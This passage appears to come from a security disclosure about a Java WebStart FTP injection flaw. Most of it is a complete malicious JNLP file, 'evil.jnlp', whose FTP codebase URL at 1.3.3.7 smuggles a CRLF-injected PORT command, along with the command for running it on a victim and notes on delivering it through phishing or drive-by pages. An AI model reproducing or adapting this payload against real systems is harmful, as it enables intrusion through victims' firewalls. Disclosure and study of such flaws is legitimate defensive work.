Once you have an FTP URL that works for you in Step 3, you could try the attack from Java WebStart. Edit the the following code (we will call it evil.jnlp) and replace the “codebase” attribute in the top level “jnlp” tag, placing your working URL in it. Then just run this on the Victim Target (VT) – javaws evil.jnlp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | <?xml version=“1.0” encoding=“UTF-8”?> <jnlp spec=“1.0+” codebase=“ftp://x:y@1.3.3.7/leetXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%0APORT%2010,1,2,3,48,57/z.txt” href=“”> <information> <title>Will Oracle Ever Get It Right?</title> <vendor>Anonymous Pwner</vendor> <icon href=“foo.jpg”/> </information> <resources> <!— Application Resources —> <j2se version=“1.6+” href=“http://java.sun.com/products/autodl/j2se”/> <jar href=“evil.jar” main=“true” /> </resources> <application–desc name=“Will Oracle Ever Get It Right?” main–class=“it.does.not.Matter” width=“300” height=“300”> </application–desc> <update check=“background”/> </jnlp> |
This will cause Java to try and fetch application components from FTP URLs that trigger the injection. JNLP files are easy to put in web pages, so this is how an attacker trigger the flaw in phishing or drive-by scenarios. Since JNLP files will be parsed by Java even if the browser plugin is disabled, it is a reasonably probable attack scenario.